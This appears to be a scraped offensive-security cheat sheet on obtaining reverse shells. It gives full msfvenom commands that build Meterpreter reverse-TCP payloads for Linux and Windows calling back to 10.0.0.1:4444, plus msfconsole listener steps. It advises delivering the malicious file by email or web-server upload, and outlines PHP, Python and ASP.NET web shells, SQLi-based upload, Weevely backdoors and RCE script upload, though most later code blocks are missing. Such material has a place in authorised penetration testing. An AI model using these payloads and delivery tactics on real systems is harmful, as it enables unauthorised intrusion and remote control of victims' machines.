githubEdit

Reverse Shells

Reverse Shell using Metasploit

We can create a reverse shell payload using Msfvenom and listen for reverse connection with Msfconsole.

Generate Reverse Shell Payload

1. Create a Payload using MsfVenom

# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf

# Windows
msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f aspx -o shell.aspx

2. Start Listener using MsfConsole

msfconsole
msf> use exploit/multi/handler

# Linux
msf> set payload linux/x86/meterpreter/reverse_tcp
# Windows
msf> set payload windows/meterpreter/reverse_tcp
# or
msf> set payload windows/x64/meterpreter/reverse_tcp

msf> set lhost 10.0.0.1
msf> set lport 4444
msf> run
meterpreter> shell

3. Send the Generated File to Target Machine

After that, we need to send the generated malicious file to target machine somehow such as below:

  • Send email with this file.

  • Upload this file to target web server.

Then a user in target machine executes this file, we may be able to get a shell of target system.

Reverse Shell using Pwncat

Pwncat is a reverse and bind shell handler. It can be downloaded from herearrow-up-right. For listening from remote connection, run the following command.

Commands

After reverse connecting, we can execute commands either local or remote.

Web Reverse Shell

We can get a shell by putting the reverse shell payload into target website.

PHP Reverse Shell (Linux)

Replace the $ip and the $port in the script with your local ip and port.

Without fsockopen, and for FreeBSD

Using Web Shell

Create a PHP script to allow us to execute arbitrary command.

Then upload it to target website. Now we might be able to execute arbitrary command, in short, reverse shell as below.

PHP Revese Shell (Windows)

Below are the available payloads.

Python Reverse Shell (Linux)

It's required to upload a payload and command execution in the target website for successful. First, create a Python file e.g. "revshell.py". Replace the ip and the port with your own.

Then upload it to the target website. Next start a listener in local machine.

Now we need to command execution by somehow in the target website.

If success, we should get a shell.

ASP.NET

We can use .aspx file for reverse shell. Download from herearrow-up-right.

Upload Script via SQLi

Useful Tools

  • Weevely3arrow-up-right

    A web shell generator.

    1. Generate Backdoor with Password

      Credentials required.

    2. Upload the Payload to Target Website and Execute Commands

    3. Get a Shell

Shell Script & Remote Code Execution (RCE)

If we can find a website is vulnerable to Remote Code Execution but cannot Reverse Shell, we may be able to do that by uploading the script.

1. Create a shell script to reverse shell.

This file is named "revshell.sh".

2. Upload the script to website

Start web server in local machine to upload the script.

Then upload it by remote code execution in target website.

To confirm the script uploaded, execute the following RCE.

3. Get a shell

Start listener for getting a shell in local machine.

Now execute the uploaded script via RCE.

We should now get the target shell.

Tools

Linux

Windows

Tips

Last updated